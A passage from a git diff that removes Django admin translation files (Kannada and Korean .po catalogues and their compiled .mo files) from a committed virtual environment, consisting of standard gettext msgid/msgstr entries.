b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.mo deleted file mode 100644 index 3740da20..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.po deleted file mode 100644 index 06e63dc4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.po +++ /dev/null @@ -1,639 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Kannada (http://www.transifex.com/django/django/language/" -"kn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kn\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "ಖಚಿತಪಡಿಸುವಿರಾ? " - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "ಎಲ್ಲಾ" - -msgid "Yes" -msgstr "ಹೌದು" - -msgid "No" -msgstr "ಇಲ್ಲ" - -msgid "Unknown" -msgstr "ಗೊತ್ತಿಲ್ಲ(ದ/ದ್ದು)" - -msgid "Any date" -msgstr "ಯಾವುದೇ ದಿನಾಂಕ" - -msgid "Today" -msgstr "ಈದಿನ" - -msgid "Past 7 days" -msgstr "ಕಳೆದ ೭ ದಿನಗಳು" - -msgid "This month" -msgstr "ಈ ತಿಂಗಳು" - -msgid "This year" -msgstr "ಈ ವರ್ಷ" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "ತೆಗೆದು ಹಾಕಿ" - -msgid "action time" -msgstr "ಕ್ರಮದ(ಕ್ರಿಯೆಯ) ಸಮಯ" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "ವಸ್ತುವಿನ ಐಡಿ" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "ವಸ್ತು ಪ್ರಾತಿನಿಧ್ಯ" - -msgid "action flag" -msgstr "ಕ್ರಮದ(ಕ್ರಿಯೆಯ) ಪತಾಕೆ" - -msgid "change message" -msgstr "ಬದಲಾವಣೆಯ ಸಂದೇಶ/ಸಂದೇಶ ಬದಲಿಸಿ" - -msgid "log entry" -msgstr "ಲಾಗ್ ದಾಖಲೆ" - -msgid "log entries" -msgstr "ಲಾಗ್ ದಾಖಲೆಗಳು" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "ಮತ್ತು" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "ಯಾವುದೇ ಅಂಶಗಳು ಬದಲಾಗಲಿಲ್ಲ." - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" ಯಶಸ್ವಿಯಾಗಿ ಅಳಿಸಲಾಯಿತು." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s ಸೇರಿಸಿ" - -#, python-format -msgid "Change %s" -msgstr "%s ಅನ್ನು ಬದಲಿಸು" - -msgid "Database error" -msgstr "ದತ್ತಸಂಚಯದ ದೋಷ" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "ಬದಲಾವಣೆಗಳ ಇತಿಹಾಸ: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ಜಾಂಗೋ ತಾಣದ ಆಡಳಿತಗಾರರು" - -msgid "Django administration" -msgstr "ಜಾಂಗೋ ಆಡಳಿತ" - -msgid "Site administration" -msgstr "ತಾಣ ನಿರ್ವಹಣೆ" - -msgid "Log in" -msgstr "ಒಳಗೆ ಬನ್ನಿ" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "ಪುಟ ಸಿಗಲಿಲ್ಲ" - -msgid "We're sorry, but the requested page could not be found." -msgstr "ಕ್ಷಮಿಸಿ, ನೀವು ಕೇಳಿದ ಪುಟ ಸಿಗಲಿಲ್ಲ" - -msgid "Home" -msgstr "ಪ್ರಾರಂಭಸ್ಥಳ(ಮನೆ)" - -msgid "Server error" -msgstr "ಸರ್ವರ್ ದೋಷ" - -msgid "Server error (500)" -msgstr "ಸರ್ವರ್ ದೋಷ(೫೦೦)" - -msgid "Server Error (500)" -msgstr "ಸರ್ವರ್ ದೋಷ(೫೦೦)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "ಹೋಗಿ" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"ಮೊದಲು ಬಳಕೆದಾರ-ಹೆಸರು ಮತ್ತು ಪ್ರವೇಶಪದವನ್ನು ಕೊಡಿರಿ. ನಂತರ, ನೀವು ಇನ್ನಷ್ಟು ಆಯ್ಕೆಗಳನ್ನು " -"ಬದಲಿಸಬಹುದಾಗಿದೆ." - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "ಪ್ರವೇಶಪದ ಬದಲಿಸಿ" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "ಸುಸ್ವಾಗತ." - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "ವಿವರಮಾಹಿತಿ" - -msgid "Log out" -msgstr "ಹೊರಕ್ಕೆ ಹೋಗಿ" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s ಸೇರಿಸಿ" - -msgid "History" -msgstr "ಚರಿತ್ರೆ" - -msgid "View on site" -msgstr "ತಾಣದಲ್ಲಿ ನೋಡಿ" - -msgid "Filter" -msgstr "ಸೋಸಕ" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "ಅಳಿಸಿಹಾಕಿ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"'%(escaped_object)s' %(object_name)s ಅನ್ನು ತೆಗೆದುಹಾಕುವುದರಿಂದ ಸಂಬಂಧಿತ ವಸ್ತುಗಳೂ " -"ಕಳೆದುಹೋಗುತ್ತವೆ. ಆದರೆ ನಿಮ್ಮ ಖಾತೆಗೆ ಕೆಳಕಂಡ ಬಗೆಗಳ ವಸ್ತುಗಳನ್ನು ತೆಗೆದುಹಾಕಲು " -"ಅನುಮತಿಯಿಲ್ಲ." - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "ಹೌದು,ನನಗೆ ಖಚಿತವಿದೆ" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "ಬದಲಿಸಿ/ಬದಲಾವಣೆ" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s ಇಂದ" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "ಸೇರಿಸಿ" - -msgid "You don't have permission to edit anything." -msgstr "ಯಾವುದನ್ನೂ ತಿದ್ದಲು ನಿಮಗೆ ಅನುಮತಿ ಇಲ್ಲ ." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "ಯಾವುದೂ ಲಭ್ಯವಿಲ್ಲ" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"ಡಾಟಾಬೇಸನ್ನು ಇನ್ಸ್ಟಾಲ್ ಮಾಡುವಾಗ ಏನೋ ತಪ್ಪಾಗಿದೆ. ಸೂಕ್ತ ಡಾಟಾಬೇಸ್ ಕೋಷ್ಟಕಗಳು ರಚನೆಯಾಗಿ ಅರ್ಹ " -"ಬಳಕೆದಾರರು ಅವುಗಳನ್ನು ಓದಬಹುದಾಗಿದೆಯೇ ಎಂಬುದನ್ನು ಖಾತರಿ ಪಡಿಸಿಕೊಳ್ಳಿ." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "ದಿನಾಂಕ/ಸಮಯ" - -msgid "User" -msgstr "ಬಳಕೆದಾರ" - -msgid "Action" -msgstr "ಕ್ರಮ(ಕ್ರಿಯೆ)" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"ಈ ವಸ್ತುವಿಗೆ ಬದಲಾವಣೆಯ ಇತಿಹಾಸವಿಲ್ಲ. ಅದು ಬಹುಶಃ ಈ ಆಡಳಿತತಾಣದ ಮೂಲಕ ಸೇರಿಸಲ್ಪಟ್ಟಿಲ್ಲ." - -msgid "Show all" -msgstr "ಎಲ್ಲವನ್ನೂ ತೋರಿಸು" - -msgid "Save" -msgstr "ಉಳಿಸಿ" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "ಒಟ್ಟು %(full_result_count)s" - -msgid "Save as new" -msgstr "ಹೊಸದರಂತೆ ಉಳಿಸಿ" - -msgid "Save and add another" -msgstr "ಉಳಿಸಿ ಮತ್ತು ಇನ್ನೊಂದನ್ನು ಸೇರಿಸಿ" - -msgid "Save and continue editing" -msgstr "ಉಳಿಸಿ ಮತ್ತು ತಿದ್ದುವುದನ್ನು ಮುಂದುವರಿಸಿರಿ." - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "ಈದಿನ ತಮ್ಮ ಅತ್ಯಮೂಲ್ಯವಾದ ಸಮಯವನ್ನು ನಮ್ಮ ತಾಣದಲ್ಲಿ ಕಳೆದುದಕ್ಕಾಗಿ ಧನ್ಯವಾದಗಳು." - -msgid "Log in again" -msgstr "ಮತ್ತೆ ಒಳಬನ್ನಿ" - -msgid "Password change" -msgstr "ಪ್ರವೇಶಪದ ಬದಲಾವಣೆ" - -msgid "Your password was changed." -msgstr "ನಿಮ್ಮ ಪ್ರವೇಶಪದ ಬದಲಾಯಿಸಲಾಗಿದೆ" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"ಭದ್ರತೆಯ ದೃಷ್ಟಿಯಿಂದ ದಯವಿಟ್ಟು ನಿಮ್ಮ ಹಳೆಯ ಪ್ರವೇಶಪದವನ್ನು ಸೂಚಿಸಿರಿ. ಆನಂತರ ನೀವು ಸರಿಯಾಗಿ " -"ಬರೆದಿದ್ದೀರೆಂದು ನಾವು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಲು ಹೊಸ ಪ್ರವೇಶಪದವನ್ನು ಎರಡು ಬಾರಿ ಬರೆಯಿರಿ." - -msgid "Change my password" -msgstr "ನನ್ನ ಪ್ರವೇಶಪದ ಬದಲಿಸಿ" - -msgid "Password reset" -msgstr "ಪ್ರವೇಶಪದವನ್ನು ಬದಲಿಸುವಿಕೆ" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "ಹೊಸ ಪ್ರವೇಶಪದ:" - -msgid "Confirm password:" -msgstr "ಪ್ರವೇಶಪದವನ್ನು ಖಚಿತಪಡಿಸಿ:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "ನೀವು ಮರೆತಿದ್ದಲ್ಲಿ , ನಿಮ್ಮ ಬಳಕೆದಾರ-ಹೆಸರು" - -msgid "Thanks for using our site!" -msgstr "ನಮ್ಮ ತಾಣವನ್ನು ಬಳಸಿದ್ದಕ್ದಾಗಿ ಧನ್ಯವಾದಗಳು!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s ತಂಡ" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "ನನ್ನ ಪ್ರವೇಶಪದವನ್ನು ಮತ್ತೆ ನಿರ್ಧರಿಸಿ " - -msgid "All dates" -msgstr "ಎಲ್ಲಾ ದಿನಾಂಕಗಳು" - -#, python-format -msgid "Select %s" -msgstr "%s ಆಯ್ದುಕೊಳ್ಳಿ" - -#, python-format -msgid "Select %s to change" -msgstr "ಬದಲಾಯಿಸಲು %s ಆಯ್ದುಕೊಳ್ಳಿ" - -msgid "Date:" -msgstr "ದಿನಾಂಕ:" - -msgid "Time:" -msgstr "ಸಮಯ:" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.mo deleted file mode 100644 index fa49be6d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.po deleted file mode 100644 index 0a651bc5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,261 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# karthikbgl , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Kannada (http://www.transifex.com/django/django/language/" -"kn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kn\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "ಲಭ್ಯ %s " - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "ಶೋಧಕ" - -msgid "Choose all" -msgstr "ಎಲ್ಲವನ್ನೂ ಆಯ್ದುಕೊಳ್ಳಿ" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "ತೆಗೆದು ಹಾಕಿ" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s ಆಯ್ದುಕೊಳ್ಳಲಾಗಿದೆ" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "ಎಲ್ಲಾ ತೆಗೆದುಹಾಕಿ" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"ನೀವು ಪ್ರತ್ಯೇಕ ತಿದ್ದಬಲ್ಲ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಬದಲಾವಣೆ ಉಳಿಸಿಲ್ಲ. ನಿಮ್ಮ ಉಳಿಸದ ಬದಲಾವಣೆಗಳು " -"ನಾಶವಾಗುತ್ತವೆ" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "ಈಗ" - -msgid "Midnight" -msgstr "ಮಧ್ಯರಾತ್ರಿ" - -msgid "6 a.m." -msgstr "ಬೆಳಗಿನ ೬ ಗಂಟೆ " - -msgid "Noon" -msgstr "ಮಧ್ಯಾಹ್ನ" - -msgid "6 p.m." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ಸಮಯವೊಂದನ್ನು ಆರಿಸಿ" - -msgid "Cancel" -msgstr "ರದ್ದುಗೊಳಿಸಿ" - -msgid "Today" -msgstr "ಈ ದಿನ" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "ನಿನ್ನೆ" - -msgid "Tomorrow" -msgstr "ನಾಳೆ" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "" -"You have already submitted this form. Are you sure you want to submit it " -"again?" -msgstr "" - -msgid "Show" -msgstr "ಪ್ರದರ್ಶನ" - -msgid "Hide" -msgstr "ಮರೆಮಾಡಲು" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.mo deleted file mode 100644 index b5f5f77e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.po deleted file mode 100644 index 3c742673..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/django.po +++ /dev/null @@ -1,805 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jiyoon, Ha , 2016 -# DONGHO JEONG , 2020 -# Dummy Iam, 2021 -# Geonho Kim / Leo Kim , 2019 -# Gihun Ham , 2018 -# Hang Park , 2019 -# Hoseok Lee , 2016 -# Ian Y. Choi , 2015,2019 -# Jaehong Kim , 2011 -# Jannis Leidel , 2011 -# Jay Oh , 2020 -# Le Tartuffe , 2014,2016 -# Juyoung Lim, 2024 -# Lee Dogeon , 2025 -# LEE Hwanyong , 2023 -# Seho Noh , 2018 -# Seacbyul Lee , 2017 -# 최소영, 2024 -# Taesik Yoon , 2015 -# 정훈 이, 2021 -# 박태진, 2021 -# Yang Chan Woo , 2019 -# Youngkwang Yang, 2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Lee Dogeon , 2025\n" -"Language-Team: Korean (http://app.transifex.com/django/django/language/ko/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ko\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "선택된 %(verbose_name_plural)s 을/를 삭제합니다." - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d개의 %(items)s 을/를 성공적으로 삭제하였습니다." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s를 삭제할 수 없습니다." - -msgid "Delete multiple objects" -msgstr "여러 개의 오브젝트 삭제" - -msgid "Administration" -msgstr "관리" - -msgid "All" -msgstr "모두" - -msgid "Yes" -msgstr "예" - -msgid "No" -msgstr "아니오" - -msgid "Unknown" -msgstr "알 수 없습니다." - -msgid "Any date" -msgstr "언제나" - -msgid "Today" -msgstr "오늘" - -msgid "Past 7 days" -msgstr "지난 7일" - -msgid "This month" -msgstr "이번 달" - -msgid "This year" -msgstr "이번 해" - -msgid "No date" -msgstr "날짜 없음" - -msgid "Has date" -msgstr "날짜 있음" - -msgid "Empty" -msgstr "비어 있음" - -msgid "Not empty" -msgstr "비어 있지 않음" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"관리자 계정의 %(username)s 와 비밀번호를 입력해주세요. 대소문자를 구분해서 입" -"력해주세요." - -msgid "Action:" -msgstr "액션:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "%(verbose_name)s 더 추가하기" - -msgid "Remove" -msgstr "삭제하기" - -msgid "Addition" -msgstr "추가" - -msgid "Change" -msgstr "변경" - -msgid "Deletion" -msgstr "삭제" - -msgid "action time" -msgstr "액션 타임" - -msgid "user" -msgstr "사용자" - -msgid "content type" -msgstr "콘텐츠 타입" - -msgid "object id" -msgstr "오브젝트 아이디" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "오브젝트 표현" - -msgid "action flag" -msgstr "액션 플래그" - -msgid "change message" -msgstr "메시지 변경" - -msgid "log entry" -msgstr "로그 엔트리" - -msgid "log entries" -msgstr "로그 엔트리" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\"이/가 추가되었습니다." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\"이/가 \"%(changes)s\"(으)로 변경되었습니다." - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "%(object)s를 삭제했습니다." - -msgid "LogEntry Object" -msgstr "로그 엔트리 객체" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}개체”를 추가했습니다." - -msgid "Added." -msgstr "추가되었습니다." - -msgid "and" -msgstr "또한" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}개체”의 {fields}필드를 변경했습니다." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields}가 변경되었습니다." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}개체”를 삭제했습니다." - -msgid "No fields changed." -msgstr "변경된 필드가 없습니다." - -msgid "None" -msgstr "없음" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"하나 이상을 선택하려면 \"Control\" 키를 누른 채로 선택해주세요. Mac의 경우에" -"는 \"Command\" 키를 눌러주세요." - -msgid "Select this object for an action - {}" -msgstr "작업에 대한 객체를 선택합니다. - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\"가 성공적으로 추가되었습니다." - -msgid "You may edit it again below." -msgstr "아래 내용을 수정해야 합니다." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\"가 성공적으로 추가되었습니다. 아래에서 다른 {name}을 추가할 " -"수 있습니다." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\"가 성공적으로 변경되었습니다. 아래에서 다시 수정할 수 있습니" -"다." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\"가 성공적으로 변경되었습니다. 아래에서 다른 {name}을 추가할 " -"수 있습니다." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\"가 성공적으로 변경되었습니다." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"항목들에 액션을 적용하기 위해선 먼저 